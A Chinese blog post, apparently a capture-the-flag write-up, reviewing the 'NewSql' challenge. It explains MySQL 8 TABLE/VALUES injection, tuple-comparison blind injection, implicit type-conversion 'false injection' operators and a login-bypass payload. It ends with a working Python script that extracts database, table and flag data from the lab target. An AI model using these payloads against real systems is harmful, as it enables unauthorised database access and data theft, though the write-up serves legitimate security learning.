【胖哈勃的七月公开赛】NewSql

前几天参加了 【胖哈勃的七月公开赛】,无奈技术有限,两道 web 题目都没有做出来。有关系吗?

wKg0C2DvyMiAE58aAAB7kp396fU944.png

刚好昨天看到了 NewSql 这道题目的 writeup,就想着复盘一下。

做题期间

这些均是我做题期间的思考和尝试,大佬可直接绕过,查看赛后复盘

打开题目链接是一个登录框,遇见登录框首先想到的就是注入

wKg0C2DvycCAVpYpAAC14RSIOO8011.png

wKg0C2DvyZqAQ7rfAACnu2vvDAs003.png

一下子就看出来了是单引号注入,当场我就要拿出师傅传给我的秘密武器 sqlmap 来试一下,但是肯定是不行滴,还是老老实实的手工注入一下。

我大胆的猜测一下登录时的 sql 语句

$sql = "select * from users where username = '$username' and password = '$password'";

如此简单不是手到擒来,但是过滤了很多参数

wKg0C2DvyfGAYiRQAADOhQMPVQ752.png

后来我构造了这样的语句 username=admin&password=password'/**/or/**/123456#

wKg0C2DvypKAMAT4AACGrWDQYg521.png

再去请求第二遍的时候,就登录进去了

wKg0C2DvyqeAWTLuAADItb9vBE349.png

首先分析一下为什么这样会登录成功

wKg0C2DvysyAXnDqAAAuTJ7oJK0339.png

wKg0C2DvytuAM0yCAAAss3ghAU333.png

这样构造登录成功之后,查看信息也并没有什么有用的信息,要找的 flag 是存在数据库中

就是漫长的尝试注入中,发现过滤了很多参数,后来给出了提示 Mysql 8 注入

Mysql 8 注入新特性

发现 Mysql 8 的注入特性

  • table
  • values

碎碎念

为了在本地对 mysql 数据库进行操作尝试,需要重新安装mysql环境,这是因为 phpstudy 中 mysql 只有 8.0.12,而新的注入关键字是出现在 mysql 8.0.19 之后。

wKg0C2Dvy0GAXmSDAACvl6ht9iI720.png

sudo apt-get install mysql-server
sudo apt-get isntall mysql-client
sudo netstat -tap | grep mysql #查看mysql的启动状态

wKg0C2Dvy1uAeL78AAA07lcLuNg616.png

TABLE

首先选择数据库,然后利用 table 关键字,可以查询数据表中的内容。

TABLE 是 MySQL 8.0.19 中引入的 DML 语句,它返回命名表的行和列,类似于 SELECT,支持 UNION 联合查询、ORDER BY排序、LIMIT 子句限制产生的行数

wKg0C2Dvy3mABnnJAAAx7LjDe5E048.png

我们注意到 table users;select * from users;似乎是完全相同的,但是存在以下的不同点

  • TABLE 始终显示表的所有列
  • TABLE 不支持任何 WHERE 子句

VALUES

VALUES 是把一组一个或者多个行作为表显示出来,返回一个表数据,结合ROW() 会更好理解一些。

ROW() 返回的是一个行数据,VALUES 会将 ROW() 返回的行数据加上字段整理为一个表,然后展示。

wKg0C2Dvy8KAJX5tAAAXVP4MCrI874.png

wKg0C2Dvy8AJPGAAAhL17hD9g971.png

注入技巧

判断列数

因为 VALUES 命令 和 TABLE 命令返回的都是表数据,他们返回的数据通过 union 语句联合起来时,当列数不对时会报错,可以通过这个来判断列数

wKg0C2DvyqAYDVAAAAuDsvBPZA798.png

判断回显位

select * from users where id=-1 union values row(1,2,3);

wKg0C2DvzASAJ1QiAAAdmuQSrIo265.png

列出所有数据库名

table information_schema.schemata;

wKg0C2DvzBaABRD0AABIZxPFTpw241.png

盲注查询任意表中的内容

table users limit 1; 查询结果

wKg0C2DvzDGAAJHoAAAbw2nsbU232.png

利用 table users limit 1; 会返回 users 这个表里面的第一行,网上的描述我并没有太理解,所以我决定用我自己的话+图,对这种盲注的现象进行一个解释

select ((1,'','')<=(table users limit 1)); & select ((2,'','')<=(table users limit 1));

wKg0C2DvzEiAKx5SAAAyrYcG5z4503.png

表面上看是 (1,' ',' ') 与 table users limit 1 的比较,实际上是 (1,' ',' ') 与 (1,'admin','password') 的比较,比较顺序为从左往右,第一列(也就是第一个元组元素)判断正确再去判断第二列(也就是第二个元组元素)。两个元素第一个字符比大小,如果第一个字符相等就比较第二个字符的大小 ,依次类推,最后结果就是元组的大小。

wKg0C2DvzG6AEZ3wAABGtDibRGw304.png

如果返回结果是1,则证明有匹配项,如果是0,则证明没有匹配项,然后继续判断后面的列,直到最后一个。

小Tips

当前判断的所在列的后一列需要用字符进行表示,不能使用数字,否则判断到当前列的最后一个字符会判断不出!!

wKg0C2DvzbiAfimAAA1Yrc2kjc477.png

最好利用 <= 替换 <, 用 < 比较一开始并没有什么问题,但是到了最后一位时,结果就为正确字符的前一个字符,所以用 <= 结果更加直观。

wKg0C2DvzXKABKSBAAA3NIiGLSs829.png

False注入

我们执行select * from users where username=0;

wKg0C2DvzdiASAdLAAApnXLbKU4308.png

为什么username=0 会导致返回全部的数据呢

这里就不得不提到有关 MYSQL 的隐式类型转换

  • 如果两个参数做比较,有至少一个是NULL,则比较结果为 NULL。 NULL <=>,结果为真,不需要转换。
  • 如果两个参数都是字符串,则按照字符串比较,不做类型转换。
  • 如果两个参数都是整数,则按照整数比较,不做类型转换。
  • 如果不与数字进行比较,则将十六进制值视为二进制字符串。
  • 如果其中一个参数是 TIMESTAMP 或者 DATETIME,另一个参数是常量,则执行比较之前,常量会被转换为时间戳。
  • 如果其中一个参数是十进制值,则比较取决于另一个参数。另一个参数是十进制值或者整数值,则将参数作为十进制值进行比较。另一个参数是浮点值,则将十进制值转换为浮点值进行比较。
  • 在其他所有情况下,两个参数都会被转换为浮点值进行比较

wKg0C2DvzoyAdPDDAAArgO1qH4012.png

可以看到在进行类型转换的时候,将字符串转换时会产生一个 warning,转换的结果为 0。如果字符串的第一个字符是非数字的字符,转换为数字就是 0 ;如果字符串是数字开头的话,会从数字部分截断,转换为数字;如果字符串全是数字的话,转换为整个字符串对应的数字。

注入技巧

在实际中遇到的 SQL 语句可能是这样的 select * from users where username='$username'所以就要构造处理来实现 false 注入点

算数运算符

加: +

'+'
拼接的语句:select * from users where username='$username'+''

减:-

'-'
拼接的语句:select * from users where username='$username'-''

乘:*

'*'
拼接的语句:select * from users where username='$username'*''

除:/

'/6#
拼接的语句:select * from users where username='$username'/6#'

取余:%

'%1#
拼接的语句:select * from users where username='$username'%1#'

位操作运算符

和运算:&

'&0#
拼接的语句:select * from users where username='$username'&0#'

或运算:|

'|0#
拼接的语句:select * from users where username='$username'|0#'

异或运算:^

'^0#
拼接的语句:select * from users where username='$username'^0#'

移位操作:>> <<

'<<0# 
'>>0#
拼接的语句:select * from users where username='$username'<<0#'

比较运算符

安全等于:<=>

'=0<=>1#
拼接的语句:select * from users where username='$username'=0<=>1#'

不等于:<=>

'=0<>0#
拼接的语句:select * from users where username='$username'=0<>0#'

大小于 > <

'>-1#
拼接的语句:select * from users where username='$username'>-1#'

Others

select * from users where username='test'=''-'';

wKg0C2DvzwuAbQQNAAAZBgpjOdI625.png

select * from users where username='test'=~~'';

wKg0C2DvzxABGVhAAAZYKeNHE077.png

select * from users where username='test'=mod(pi(),pi());

wKg0C2Dvzy2AEm39AAAYy4L7VA672.png

讲了这么多,可能早就晕了,有关系吗?

wKg0C2DvzzuAedG0AABcORbrdCg663.png

我们再从这道题目的角度进行分析,对刚了解到的知识再进行巩固。

赛后复盘

根据官方提供的 writeup 是过滤了这些参数

|select|union|and|&&|updatexml|extractvalue|group|concat|have|sleep|database|insert|join|where|substr|char|mid|>|=|\|\||like|regexp|\\|if

结合之前有关 False 注入 和 Mysql8 注入

import requests
import string

url = 'http://192.168.153.131:8084/'
strings = string.digits + '_' + string.ascii_lowercase + '{}'
# 0123456789_abcdefghijklmnopqrstuvwxyz{}

def get_data(payload):
    for j in range(0,10):
        result = ''
        for i in range(1,20):
            for str in strings:
                data = {
                    "username":payload.format((result + str),j),
                    "password":"123456"
                    }
                res = requests.post(url = url,data = data,allow_redirects=True)
                if "WELCOME" not in res.text:
                    result += chr(ord(str) - 1)
                    print(result)
                    break

    
if __name__ == "__main__":
    payload_databases = "1'^(('def','{0}','',4,5,6)<(table/**/information_schema.schemata/**/limit/**/{1},1))#"  #mysql  information_schema  performance_schema sys  ctf
    payload_tables = "1'^(('def','ctf','{0}','',5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21)<(table/**/information_schema.tables/**/order/**/by/**/CREATE_TIME/**/DESC/**/limit/**/{1},1))#"  # users f1aggghere
    payload_columns = "1'^(('def','ctf','f1aggghere','{0}','',6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22)<(table/**/information_schema.columns/**/order/**/by/**/TABLE_SCHEMA/**/limit/**/{1},1))#"  # flag id
    payload_data = "1'^((1,'{0}')<(table/**/f1aggghere/**/limit/**/{1},1))#" 

    get_data(payload_data)

如果 false 注入成功之后就会跳转到登录后的页面,information_schema库中每个表的字段数量可以通过在本地搜索判断,为了节约时间,尽快查找到所需要的数据,可以利用 table 可以拼接 order by 语句,根据表创建时间逆序,一般前几个就是存在数据的表。找到表之后为了查出其中存在的字段,可以拼接order by 语句,根据数据库名进行排序,因为数据库名为'ctf',所以很快就可以查出结果。然后就是查询表里面的信息了。

参考文章

浅谈利用mysql8新特性进行SQL注入

七月公开赛writeup|web--NewSql

False注入,以及SQL注入技巧总结

posted @ 2021-11-28 17:45  SecIN社区  阅读(72)  评论(0编辑  收藏  举报